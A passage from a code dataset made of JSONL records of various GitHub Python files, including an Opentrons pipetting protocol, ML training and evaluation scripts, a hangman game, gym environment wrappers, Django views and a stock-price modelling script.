str(args.configuration_file)\n\n with open(configuration_file, 'r') as configs_file:\n configs = yaml.safe_load(configs_file)\n\n if configs['tracking_uri'].startswith('http'):\n dotenv_file = 'configs/.env'\n load_dotenv(dotenv_file)\n\n # Set the experiment name env from the config file (will write to file)\n set_key(\n dotenv_path=dotenv_file,\n key_to_set=\"MLFLOW_EXPERIMENT_NAME\",\n value_to_set=configs['experiment_name']\n )\n\n labels = 20\n all_pretrained_models = pretrained_models + pretrained_tapt_models\n all_pretrained_models.pop(0) # Ignore bert-base-cased since it run successfully\n for ptm in all_pretrained_models:\n print(f'Training using {ptm}...')\n ptm_escaped = ptm.replace(\"/\", \"--\")\n for label_index in range(labels):\n # use best params per label from config file\n configs = update_config(label_index, configs)\n if 'large' in ptm and configs['batch_size'] > 160:\n configs.update({\n \"batch_size\": 160\n })\n # update pretrained model related configs\n configs.update({\n 'pretrained_model': ptm,\n 'model_folder': f'models/multilabel_train/pretrained_eval/{ptm_escaped}/{label_index}',\n 'model_name': f'{ptm_escaped}_label_{label_index}_',\n 'experiment_name': f'Pretrained Eval {ptm_escaped}',\n 'run_name': f'{ptm_escaped}_label_{label_index}'\n })\n\n train_ova(configs, label_index)\n","repo_name":"d1mitriz/aristoxenus-semeval23-task4","sub_path":"src/run_pretrained_model_evaluation.py","file_name":"run_pretrained_model_evaluation.py","file_ext":"py","file_size_in_byte":7026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7030899039","text":"from opentrons import protocol_api\nimport json\nfrom decimal import Decimal\n\nmetadata = {\n 'protocolName': 'barcoding set up ONT',\n 'author': 'Mark Whitehead ',\n 'apiLevel': '2.9'\n }\n\n#user setup\n\n#plate setup (6 max)\nplate_col_range = 12\n\nreag_col = 11\n\n# 280 water, 560 mm, 28 enhancer\n\ndef run(protocol_context):\n #load plates\n \n #therm_mod = protocol_context.load_module('thermocycler', 7)\n '''\n #for testing\n with open('4titude_96_wellplate_200ul') as labware_file:\n labware_def = json.load(labware_file)\n src_pl = protocol_context.load_labware_from_definition(labware_def, 3, label='source_plate')\n reag_pl = protocol_context.load_labware_from_definition(labware_def, 4, label='reagent_plate')\n PCR_pl = therm_mod.load_labware_from_definition(labware_def, label='PCR_plate')\n\n '''\n\n '''\n reagent_plate = protocol_context.load_labware('4titude_96_wellplate_200ul', 1, label='reag_plate')\n #EP_pl = therm_mod.load_labware('4titude_96_wellplate_200ul', label='EP_plate')\n BC_plate = protocol_context.load_labware('4titude_96_wellplate_200ul', 3, label='BC_plate')\n EP_pl = protocol_context.load_labware('4titude_96_wellplate_200ul', 7, label='EP_plate')\n '''\n reagent_plate = protocol_context.load_labware('nest_96_wellplate_100ul_pcr_full_skirt', 1, label='reag_plate')\n #EP_pl = therm_mod.load_labware('4titude_96_wellplate_200ul', label='EP_plate')\n BC_plate = protocol_context.load_labware('nest_96_wellplate_100ul_pcr_full_skirt', 3, label='BC_plate')\n EP_pl = protocol_context.load_labware('nest_96_wellplate_100ul_pcr_full_skirt', 7, label='EP_plate')\n\n\n #load tips\n tip_racks_20 = [protocol_context.load_labware('opentrons_96_tiprack_20ul', slot) for slot in [2, 4]]\n\n #load pipettes\n p20 = protocol_context.load_instrument('p20_multi_gen2', 'left', tip_racks=tip_racks_20)\n #p20 = protocol_context.load_instrument('p10_multi', 'left', tip_racks=tip_racks_20)\n\n #add DNA to BC plate\n #therm_mod.open_lid()\n \n for i in range(1, (plate_col_range + 1)):\n _tipCol = \"A\" + str(i)\n p20.pick_up_tip()\n p20.transfer(1.2, EP_pl.wells_by_name()[_tipCol], \n BC_plate.wells_by_name()[_tipCol], new_tip='never')\n p20.drop_tip()\n #p20.return_tip()\n\n # add LM mix to BC plate and mix\n for i in range(1, (plate_col_range + 1)):\n _tipCol = \"A\" + str(i)\n _reagCol = \"A\" + str(reag_col)\n p20.pick_up_tip()\n p20.transfer(7.7, reagent_plate.wells_by_name()[_reagCol], \n BC_plate.wells_by_name()[_tipCol], new_tip='never', mix_after=(2, 8))\n p20.drop_tip()\n #p20.return_tip()\n \n\n","repo_name":"hlmwhite/opentrons_scripts","sub_path":"ONT_BC_setup_13Apr.py","file_name":"ONT_BC_setup_13Apr.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11851978905","text":"\"\"\"\n@date: Created on 2018/5/30\n@author: yaoyongzhen\n@notes: DNN模型\n\"\"\"\n#加载包\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn import metrics\n\n# 数据集名称\nTRAINING = \"folds/dropft/fold1_train.txt\"\nTEST = \"folds/dropft/fold1_test.txt\"\n\n# 数据集读取,训练集和测试集\ntraining_set = tf.contrib.learn.datasets.base.load_csv_without_header(\n filename=TRAINING,\n target_dtype=np.int,\n features_dtype=np.float,\n target_column=-1)\ntest_set = tf.contrib.learn.datasets.base.load_csv_without_header(\n filename=TEST,\n target_dtype=np.int,\n features_dtype=np.float,\n target_column=-1)\n\n# 特征\nfeature_columns = [tf.contrib.layers.real_valued_column(\"\", dimension=4)]\n\n# 构建DNN网络\nclassifier = tf.contrib.learn.DNNClassifier(feature_columns=feature_columns,\n hidden_units=[256, 256],\n n_classes=4,\n dropout=0.25,\n model_dir=\"tmp/model\")\n\n# 拟合模型,迭代30000步\nclassifier.fit(x=training_set.data,\n y=training_set.target,\n steps=30000)\n\n# 计算精度\naccuracy_score = classifier.evaluate(x=test_set.data,y=test_set.target)[\"accuracy\"]\n\nprint('Accuracy: {0:f}'.format(accuracy_score))\n# print(test_set.target)\n\n# 预测新样本的类别\ny_pred = list(classifier.predict(test_set.data, as_iterable=True))\nmaf = metrics.f1_score(test_set.target, y_pred, average='macro') #计算macro-f-score\nprint('maf :',maf)\n","repo_name":"LearnDeepLearningDeeply/AudioEMOTION","sub_path":"yaoyongzhen/dnn/dnn.py","file_name":"dnn.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"17433330966","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n#Created on Tue Jul 10 23:06:27 2018\r\n\r\n#@author: lohit\r\n#\"\"\"\r\nimport pandas as pd\r\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer as SIA\r\nsid = SIA()\r\n\r\n\r\n\r\ninput_file = \"D://Desktop//4th term//Digital and Social Media Analytics//Project//new.xlsx\" \r\noutput_file =\"D://Desktop//4th term//Digital and Social Media Analytics//Project//Output1.csv\"\r\nout_df = pd.DataFrame()\r\n\r\ndf = pd.read_csv(input_file,encoding ='utf-8')\r\ndf = df.fillna(\" \")\r\ncol_names = list(df.columns.values)\r\n\r\nfor col in col_names:\r\n data = df[col].tolist()\r\n compound = []\r\n #negative = []\r\n #neutral = []\r\n #positive = []\r\n for sentence in data:\r\n ss = sid.polarity_scores(sentence) \r\n compound.append(ss['compound'])\r\n # negative.append(ss['neg'])\r\n # neutral.append(ss['neu'])\r\n # positive.append(ss['pos'])\r\n \r\n out_df[col] = compound\r\n #df['Negative'] = negative\r\n #df['Neutral'] = neutral\r\n #df['Positive'] = positive\r\n\r\nout_df.to_csv(output_file,index=False)\r\n","repo_name":"lohitkhanna/Customer-Perception-about-Service-Quality-of-Mobile-Sentiments---Telecommunication-A-Case-of-India","sub_path":"Code - python.py","file_name":"Code - python.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3488518821","text":"#\n# @lc app=leetcode.cn id=354 lang=python3\n#\n# [354] 俄罗斯套娃信封问题\n#\n\n# @lc code=start\nclass Solution:\n def maxEnvelopes(self, envelopes):\n \"\"\"\n 1. 先按宽度排序,如果宽度一样就按照高度降序排序\n 2. 把所有的高领出来昨晚一个数组\n 3. 从这个数组里找最长递增子序列的长度\n \"\"\"\n envelopes = sorted(envelopes, key=lambda x: (x[0], -x[1]))\n h_list = [h[1] for h in envelopes]\n print(envelopes, h_list)\n return self.length_of_LTS(h_list)\n\n def length_of_LTS(self, nums):\n \"\"\"最长递增子序列\n dp[i] 表示以 nums[i] 这个数结尾的最长递增子序列的长度。\n \"\"\"\n if not nums:\n return 0\n dp = [1] * len(nums)\n for i in range(len(nums)):\n for j in range(i):\n if nums[j] < nums[i]:\n dp[i] = max(dp[i], dp[j] + 1)\n return max(dp)\n\n def test(self):\n return self.maxEnvelopes([[4, 5], [4, 6], [6, 7], [2, 3], [1, 1]])\n\n\n# @lc code=end\n\n","repo_name":"Ehco1996/leetcode","sub_path":"labuladong/动态规划/354.俄罗斯套娃信封问题.py","file_name":"354.俄罗斯套娃信封问题.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"17704872922","text":"import _0_parse_oecd\n\nsector_by_country_by_year_to_gdp = _0_parse_oecd.SectorInfo().sector_by_country_by_year_to_gdp\ncountry_by_year_to_gdp = sector_by_country_by_year_to_gdp['Agriculture, forestry, fishing']\ngdp_agr_1980 = 0\nfor country in country_by_year_to_gdp:\n gdp_agr_1980 += country_by_year_to_gdp[country][1980] * 10 ** 6\nmy_result = gdp_agr_1980\n\nprint('my_result: ${:,}'.format(int(my_result)))\n\n\n# --- OECD Manual calculation ---\n\n# https://data.oecd.org/natincome/value-added-by-activity.htm\n\ncountry_to_percent_gdp_agr_1980 = {\n 'China': 29.9,\n 'Korea': 15.9,\n 'New Zealand': 11.1,\n 'Finland': 9.6,\n 'Sweden': 5.3,\n 'Austria': 4.9,\n 'Denmark': 4.7,\n 'Norway': 4.1,\n 'France': 4.0,\n 'Netherlands': 3.7,\n}\n\n# https://data.oecd.org/gdp/gross-domestic-product-gdp.htm\n\ncountry_to_gdp_1980_usd = {\n 'China': 308, # thousand millions\n 'Korea': 91.5,\n 'New Zealand': 26.5,\n 'Finland': 44.1,\n 'Sweden': 92.5,\n 'Austria': 79.4,\n 'Denmark': 50.6,\n 'Norway': 40.3,\n 'France': 533,\n 'Netherlands': 152,\n}\nfor key in country_to_gdp_1980_usd:\n country_to_gdp_1980_usd[key] *= 10 ** 9\n\ncountry_to_agg_gdp_1980_usd = {\n country: country_to_percent_gdp_agr_1980[country] / 100 * country_to_gdp_1980_usd[country]\n for country in country_to_gdp_1980_usd\n}\n\noecd_result = sum(country_to_agg_gdp_1980_usd.values())\nprint('oecd_result: ${:,}'.format(int(oecd_result)))\n\nassert abs(my_result - oecd_result) / oecd_result < .01\n\n# http://www.fao.org/fileadmin/templates/ess/documents/GDP/IND_NewsRelease_EN__27Apr2015_.pdf\n# $3.4 trillion\n","repo_name":"JesseAldridge/markets","sub_path":"oecd/_1_test_agg_gdp_1970.py","file_name":"_1_test_agg_gdp_1970.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12881538745","text":"import random\n\nstages = ['''\n +---+\n | |\n O |\n /|\\ |\n / \\ |\n |\n=========\n''', '''\n +---+\n | |\n O |\n /|\\ |\n / |\n |\n=========\n''', '''\n +---+\n | |\n O |\n /|\\ |\n |\n |\n=========\n''', '''\n +---+\n | |\n O |\n /| |\n |\n |\n=========''', '''\n +---+\n | |\n O |\n | |\n |\n |\n=========\n''', '''\n +---+\n | |\n O |\n |\n |\n |\n=========\n''', '''\n +---+\n | |\n |\n |\n |\n |\n=========\n''']\nwords = ['apple', 'banana', 'america', 'nice', 'helikopter']\nchosen_word = random.choice(words)\n# print(\"Chosen word is {}\".format(chosen_word))\nword_length = len(chosen_word)\n\nthe_list = []\nfor i in range(0, word_length):\n the_list.append(\"_\")\nprint(\" \".join(the_list))\n\nlist_length = len(stages)-1\nprint(stages[list_length])\n\nwhile the_list.count(\"_\") != 0:\n guess_letter = input(\"Enter your guess letter here: \").lower()\n for i in range(0, word_length):\n letter = chosen_word[i]\n if letter == guess_letter:\n the_list[i] = letter\n if guess_letter not in chosen_word:\n list_length-=1\n print(stages[list_length])\n print(\" \".join(the_list))\n if list_length==0:\n print(\"You lost!\")\n\nif(the_list.count(\"_\")==0):\n print(\"You won!\")","repo_name":"manthanoice/Python-100","sub_path":"Day-7/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"6821566014","text":"import os\nfrom tkinter import Tk\nimport operations\n\nclass internal_database:\n Services = []\n DatabasePath = \"\"\n Encode = \"\"\n RequireLogin = \"\"\n\nclass init_application:\n import configparser\n default_directory = [\"lib/appconfig.ini\"]\n def init_configuration():\n try:\n f = open(\"lib/appconfig.ini\", 'r')\n config = init_application.configparser.ConfigParser()\n config.read('lib/appconfig.ini')\n internal_database.DatabasePath = config['DEFAULT']['DatabasePath']\n internal_database.Encode = config['DEFAULT']['Encode']\n internal_database.RequireLogin = config['DEFAULT']['RequireLogin']\n f.close()\n except: \n operations.create_new_configuration()\n print(\"В корневой директории отсутствовал файл с конфигурацией, был создан новый файл.\")\n init_application.init_configuration()\n \n def init_database(databasepath):\n try:\n f = open(databasepath, 'r')\n database = init_application.configparser.ConfigParser()\n database.read(databasepath)\n if len(database.sections()) > 0:\n for row in database.sections():\n internal_database.Services.append([database[row]['id'],database[row]['service_name'],database[row]['password']])\n else:\n print (\"база данных пустая\")\n f.close()\n except: \n operations.create_new_database(databasepath)\n print(\"В корневой директории отсутствовал файл с базой паролей, был создан новый файл.\")\n\n\n\ndef main():\n print(\"\\n\\n\\n\\n\\n\\n---started---\\n\")\n init_application.init_configuration()\n init_application.init_database(internal_database.DatabasePath)\n print (\"password database:\")\n print (internal_database.Services)\n operations.main_menu(internal_database.Services)\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"shecof/SafePass","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5127670324","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom .models import Discussion\nfrom django.views.decorators.http import require_http_methods\nfrom django.utils import timezone\nfrom django.core import serializers\nfrom django.views import generic\nfrom user.models import User \nfrom task.models import Task\n\n\nclass GetDiscussion(generic.View):\n\tdef get(self,request): \n\t\tq=request.GET.get('q')\n\t\tdiscussion_data=Discussion.objects.filter(task_id=q)\n\t\tsenders_name=[]\n\t\tcreated_time=[]\n\t\tprint(\"time: \", discussion_data[0].created.strftime(\"%b.%d,%Y %I.%M %p\"))\n\t\tfor d in discussion_data:\n\t\t\tsenders_name.append(d.sent_by)\n\t\t\tcreated_time.append(d.created.strftime(\"%b.%d,%Y %I.%M %p\"))\n\t\tdiscussion=serializers.serialize(\"json\", discussion_data)\n\t\tsenders=serializers.serialize('json',senders_name,fields=['first_name','last_name'])\n\t\t\n\t\tdata={'discussion':discussion,'senders':senders,'created':created_time}\n\t\treturn JsonResponse(data)\n\n@require_http_methods([\"POST\"])\ndef addComment(request):\n\tn_sent_by=User.objects.get(pk=request.POST.get('sent_by'))\n\tn_task_id=Task.objects.get(pk=request.POST.get('task_id'))\n\tn_text=request.POST.get('text')\n\tn_created=timezone.now()\n\tnew_comment=Discussion(sent_by=n_sent_by,task_id=n_task_id,content=n_text,created=n_created)\n\tnew_comment.save()\n\tdata={'created':n_created.strftime(\"%b.%d,%Y %I.%M %p\"),'first_name':n_sent_by.first_name,\n\t\t\t\t'last_name':n_sent_by.last_name}\n\treturn JsonResponse(data)","repo_name":"Reyano132/Saptshrungi","sub_path":"discussion/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26889934330","text":"from keras.models import load_model\nimport csv\nimport numpy as np\nimport os\n\n\nwith open('extracts.csv', 'r') as f:\n reader = csv.reader(f)\n extracts = list(reader)\n\nmodels_errors = []\ndir_path = '' # TO BE SET -- directory of trained models\nfor d in os.listdir(dir_path):\n model_dir = dir_path + d + '/'\n for f in os.listdir(model_dir):\n if f.endswith('hdf5'):\n model_name = f\n full_model_path = model_dir + model_name\n model = load_model(full_model_path)\n\n results = []\n error = []\n for row in extracts:\n test_bst = np.load(row[0] + '.npy')\n test_bst = np.rollaxis(test_bst, 0, 3)\n test_bst = np.expand_dims(test_bst, axis=0)\n test_bst = test_bst[:, :, :, :4]\n res = model.predict(test_bst)\n res = res * 10\n error.append((float(row[1])-res))\n results.append(float(res[0][0]))\n\n mse = np.mean(np.array([i**2 for i in error]))\n max_error = np.max(np.abs(np.array(error)))\n std_dev = np.std(np.array(results))\n models_errors.append((d, mse, max_error, std_dev))\n param_string = d\n param_parts = d.split('___')\n epsilon = float(param_parts[0].split('_')[1])\n beta1 = float(param_parts[1].split('_')[1])\n beta2 = float(param_parts[2].split('_')[1])\n\n with open('results_incremental_FINAL.csv', 'a') as res_file:\n res_file.write(d + ',' + str(epsilon) + ',' + str(beta1) + ',' + str(beta2) + ',' + str(mse) + ','\n + str(max_error) + ',' + str(std_dev) + '\\n')\n with open('test.log', 'a') as log:\n log.write(str(len(models_errors)) + ': ' + d + '\\n')\n print(str(len(models_errors)) + ': ' + d)\n\nwith open('all_results_FINAL.csv', 'w') as writeFile:\n writer = csv.writer(writeFile)\n writer.writerows(models_errors)\n\n","repo_name":"mahmoud-al-najar/bathymetry_estimation","sub_path":"utils/evaluation/evaluate_extracts_models.py","file_name":"evaluate_extracts_models.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38527611476","text":"import sys\r\nimport math\r\n\r\ndef n_sum(n):\r\n nu = 0\r\n for i in range(1,n+1):\r\n nu += i\r\n return nu\r\n\r\n\r\nT = int(input())\r\n\r\nfor i in range(T):\r\n x, y = map(int, sys.stdin.readline().split())\r\n distance = y-x\r\n \r\n n = round(math.sqrt(distance))-1\r\n while 2*n_sum(n) < distance:\r\n n += 1\r\n \r\n if (distance-2*n_sum(n-1)) <= n:\r\n ans = 2*n-1\r\n else:\r\n ans = 2*n\r\n \r\n print(ans)\r\n \r\n ","repo_name":"MinWoongL/Algorithm_Study","sub_path":"백준/Gold/1011. Fly me to the Alpha Centauri/Fly me to the Alpha Centauri.py","file_name":"Fly me to the Alpha Centauri.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71270945333","text":"from bs4 import BeautifulSoup\n\nfrom utils.get_font_map import get_search_map_file\nfrom utils.requests_utils import requests_util\n\n\nclass Search():\n def __init__(self):\n pass\n\n def search(self, search_url, request_type='proxy, cookie'):\n \"\"\"\n 搜索\n :param key_word: 关键字\n :param only_need_first: 只需要第一条\n :param needed_pages: 需要多少页\n :return:\n \"\"\"\n r = requests_util.get_requests(search_url, request_type=request_type)\n text = r.text\n # 获取加密文件\n file_map = get_search_map_file(text)\n # 替换加密文件\n text = requests_util.replace_search_html(text, file_map)\n\n # 网页解析\n html = BeautifulSoup(text, 'lxml')\n shop_all_list = html.select('.shop-list')[0].select('li')\n\n search_res = []\n for shop in shop_all_list:\n try:\n image_path = shop.select('.pic')[0].select('a')[0].select('img')[0]['src']\n except:\n image_path = '-'\n try:\n shop_id = shop.select('.txt')[0].select('.tit')[0].select('a')[0]['data-shopid']\n except:\n shop_id = '-'\n try:\n detail_url = shop.select('.txt')[0].select('.tit')[0].select('a')[0]['href']\n except:\n detail_url = '-'\n try:\n name = shop.select('.txt')[0].select('.tit')[0].select('a')[0].text.strip()\n except:\n name = '-'\n # 两个star方式,有的页面显示详细star分数,有的显示icon\n # 解析icon\n try:\n star_point = \\\n shop.select('.txt')[0].select('.comment')[0].select('.star_icon')[0].select('span')[0]['class'][\n 1].split('_')[1]\n star_point = float(star_point) / 10\n star_point = str(star_point)\n except:\n star_point = '-'\n # 解析详细star\n try:\n star_point = \\\n shop.select('.txt')[0].select('.comment')[0].select('.star_score')[0].text\n star_point = float(star_point)\n star_point = str(star_point)\n except:\n pass\n try:\n review_number = shop.select('.txt')[0].select('.comment')[0].select('.review-num')[0].text.replace(\n '\\n', '')\n except:\n review_number = '-'\n try:\n mean_price = shop.select('.txt')[0].select('.comment')[0].select('.mean-price')[0].select('b')[\n 0].text\n except:\n mean_price = '¥0'\n try:\n tags = shop.select('.txt')[0].select('.tag-addr')[0].select('.tag')\n tag1 = tags[0].text.replace('\\n', ' ').strip()\n tag2 = tags[1].text.replace('\\n', ' ').strip()\n except:\n tag1 = '-'\n tag2 = '-'\n try:\n addr = shop.select('.txt')[0].select('.tag-addr')[0].select('.addr')[0].text.replace('\\n',\n ' ').strip()\n except:\n addr = '-'\n try:\n recommend = shop.select('.recommend')[0].text.replace('\\n', ' ').strip()\n except:\n recommend = '-'\n try:\n comment_list = shop.select('.comment-list')[0].text.replace('\\n', ' ').strip()\n except:\n comment_list = '-'\n one_step_search_res = {\n '店铺id': shop_id,\n '店铺名': name,\n '评论个数': review_number,\n '人均价格': mean_price,\n '标签1': tag1,\n '标签2': tag2,\n '店铺地址': addr,\n '详情链接': detail_url,\n '图片链接': image_path,\n '详细评分': comment_list,\n '推荐菜': recommend,\n '店铺均分': star_point,\n }\n search_res.append(one_step_search_res)\n # yield one_step_search_res\n return search_res\n","repo_name":"Bruceey/Spider_Learning","sub_path":"50、参考案例/dianping_spider-master/function/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15616335402","text":"import gym\nimport numpy as np\nfrom gym.spaces.box import Box\nfrom collections import deque\n\n\ndef mujoco_env(env_id, stack=4):\n env = gym.make(env_id)\n env = FrameStackEnv(env, stack)\n env = ActionNormalizedEnv(env)\n\n return env\n\n\ndef get_mujoco_env_fn(env_id, stack=4):\n def env_fn():\n env = gym.make(env_id)\n env = FrameStackEnv(env, stack)\n env = ActionNormalizedEnv(env)\n return env\n\n return env_fn\n\n\nclass ActionNormalizedEnv(gym.Wrapper):\n def __init__(self, env):\n gym.Wrapper.__init__(self, env)\n\n action_space = self.env.action_space\n h, l, shp = action_space.high, action_space.low, action_space.shape\n self._action_center = (h + l) / 2\n self._action_scale = (h - l) / 2\n\n self.action_space = Box(\n low=-1.0, high=1.0, shape=shp, dtype=np.float32)\n\n def reset(self, **kwargs):\n return self.env.reset(**kwargs)\n\n def step(self, action):\n ac = self._action_scale * action + self._action_center\n # assert self.env.action_space.contains(ac)\n return self.env.step(ac)\n\n\nclass FrameStackEnv(gym.Wrapper):\n def __init__(self, env, k):\n \"\"\"Stack k last obs.\"\"\"\n gym.Wrapper.__init__(self, env)\n self.k = k\n self.obs = deque([], maxlen=k)\n\n ob_space = self.env.observation_space\n self.observation_space = Box(\n low=np.tile(ob_space.low, k),\n high=np.tile(ob_space.high, k),\n dtype=np.float32)\n\n def reset(self, **kwargs):\n ob = self.env.reset(**kwargs)\n for _ in range(self.k):\n self.obs.append(ob)\n return self._get_ob()\n\n def step(self, action):\n ob, reward, done, info = self.env.step(action)\n self.obs.append(ob)\n return self._get_ob(), reward, done, info\n\n def _get_ob(self):\n assert len(self.obs) == self.k\n return np.concatenate(self.obs)\n","repo_name":"smsxgz/RL-Env-Wrapper","sub_path":"synchronized_wrapper/mujoco_wrapper.py","file_name":"mujoco_wrapper.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"21768212070","text":"#!/usr/bin/env python\n\nfrom time import sleep\n\n# Get the GPIO Library\nimport RPi.GPIO as GPIO\n \n# Adding code to grab PID and create PIDFILE\n# !--- Legacy code for creating a PIDFILE ---!\n# !--- no longer needed. Left for reference ---!\n# !--- Generated by init.d/gpio-startup now. ---!\n#import os\n#pid = str(os.getpid())\n#f = open('/var/run/gpio-startup.pid', 'w')\n#f.write(pid)\n#f.close()\n\n# setup some names references to the LED's and buttons\n# red = pin 17\n# green = pin 27 (512mb rev2) pin 21 (256mb original)\n# blue = pin 22\n \n# using an list to hold the led numbers\nleds = [17, 27, 22] \n\n# Input button is on pin 16 (pin 2 on 512mb; pin 0 on orig 256mb)\nbutton = 16\n\n# Initialize counter\ncount = 0\n\n# Initialize the board and setup the pins as output and input as needed\nGPIO.setmode(GPIO.BCM)\n\n# looping over the list\nfor n in leds:\n GPIO.setup(n, GPIO.OUT)\n \nGPIO.setup(button, GPIO.IN)\n \nwhile 1:\n# if GPIO.input(button):\n GPIO.output(leds[(count - 1) % len(leds)], False) # Turn LED off\n GPIO.output(leds[count % len(leds)], True) # Light next LED up\n sleep(0.25)\n sleep(0.0050)\n count += 1\n# else:\n# stopLED = True\n# while stopLED:\n# if not GPIO.input(button):\n# stopLED = False\n","repo_name":"evilrobotslayer/rpi_scripts","sub_path":"gpio-startup.py","file_name":"gpio-startup.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33859156821","text":"# Import necessary libraries\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport yfinance as yf\nfrom numpy import mat\nfrom sklearn.ensemble import RandomForestRegressor, VotingClassifier, GradientBoostingRegressor, VotingRegressor\nfrom finta import TA\n\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.svm import SVR\nimport xgboost as xgb\n\n# Define the ticker symbols and period of interest\ntickers = [\"AAPL\", \"MSFT\", \"AMZN\"]\nperiods = [\"1y\", \"2y\", \"3y\"]\n# Create an empty DataFrame with column names\ndf_all_predicts = pd.DataFrame(columns=['Stock Name', 'Actual', 'Prediction'])\ndf_all_companies = pd.DataFrame(columns=['Stock', 'Open', 'High', 'Low', 'Close', 'Volume'])\n\nfor ticker in tickers:\n\n model_error = [[[], 100, [], [], None]]\n for period in periods:\n\n # Fetch the data using yfinance\n data = yf.download(ticker, period=period)\n\n # Remove the current month's data\n data = data[~((data.index.month == pd.Timestamp.now().month) & (data.index.year == datetime.now().year))]\n\n # Save the data as a CSV file\n # data.to_csv(f\"{ticker}_{period}.csv\", index=True)\n\n # List of symbols for technical indicators\n INDICATORS = ['RSI', 'MACD', 'STOCH', 'ADL', 'ATR', 'MOM', 'MFI', 'ROC', 'OBV', 'CCI', 'EMV', 'VORTEX']\n\n \"\"\"\n Next we pull the historical data using yfinance\n Rename the column names because finta uses the lowercase names\n \"\"\"\n data.rename(columns={\"Close\": 'close', \"High\": 'high', \"Low\": 'low', 'Volume': 'volume', 'Open': 'open'},\n inplace=True)\n\n\n def _get_indicator_data(data):\n \"\"\"\n Function that uses the finta API to calculate technical indicators used as the features\n :return:\n \"\"\"\n\n for indicator in INDICATORS:\n ind_data = eval('TA.' + indicator + '(data)')\n if not isinstance(ind_data, pd.DataFrame):\n ind_data = ind_data.to_frame()\n data = data.merge(ind_data, left_index=True, right_index=True)\n data.rename(columns={\"14 period EMV.\": '14 period EMV'}, inplace=True)\n\n # Also calculate moving averages for features\n data['ema50'] = data['close'] / data['close'].ewm(50).mean()\n data['ema21'] = data['close'] / data['close'].ewm(21).mean()\n data['ema15'] = data['close'] / data['close'].ewm(14).mean()\n data['ema5'] = data['close'] / data['close'].ewm(5).mean()\n\n # Instead of using the actual volume value (which changes over time), we normalize it with a moving volume average\n data['normVol'] = data['volume'] / data['volume'].ewm(5).mean()\n\n # Remove columns that won't be used as features\n del (data['open'])\n del (data['high'])\n del (data['low'])\n del (data['volume'])\n del (data['Adj Close'])\n\n return data\n\n\n data = _get_indicator_data(data)\n\n df = pd.DataFrame(data)\n\n df_all_companies = df_all_companies._append(df)\n print(\"nlknlmççlö\")\n print(df_all_companies.index)\n\n\n def _train_xgboost(X_train, y_train, X_test, y_test):\n # Define model\n xgb_model = xgb.XGBRegressor()\n\n # Define hyperparameters to tune\n param_grid = {\n 'n_estimators': [100, 500, 1000],\n 'max_depth': [3, 6, 9],\n 'learning_rate': [0.01, 0.1, 0.5],\n }\n\n # Perform grid search\n grid_search = GridSearchCV(estimator=xgb_model, param_grid=param_grid, cv=5, n_jobs=-1)\n grid_search.fit(X_train, y_train)\n # Save best model\n xgb_best = grid_search.best_estimator_\n # Make predictions on the testing data\n y_pred = xgb_best.predict(X_test)\n return xgb_best\n\n\n def _train_random_forest(X_train, y_train, X_test, y_test):\n \"\"\"\n Function that uses random forest classifier to train the model\n :return:\n \"\"\"\n\n # Define parameter grid for GridSearchCV\n param_grid = {\n 'n_estimators': [100, 200, 300],\n 'max_depth': [5, 10, None],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 4]\n }\n\n # Create Random Forest Regressor\n rf = RandomForestRegressor()\n\n # Use GridSearchCV to find best hyperparameters\n grid_search = GridSearchCV(estimator=rf, param_grid=param_grid, cv=5, n_jobs=-1)\n grid_search.fit(X_train, y_train)\n\n # Save best model\n rf_best = grid_search.best_estimator_\n # Make predictions on the testing data\n y_pred = rf_best.predict(X_test)\n\n return rf_best\n\n\n def _train_svr(X_train, y_train, X_test, y_test):\n svr = SVR(kernel='rbf')\n\n # Define the parameter grid for Grid Search\n param_grid = {'C': [0.1, 1, 10, 100],\n 'gamma': [1, 0.1, 0.01, 0.001],\n 'epsilon': [0.1, 0.01, 0.001, 0.0001]}\n\n # Perform Grid Search to find the best 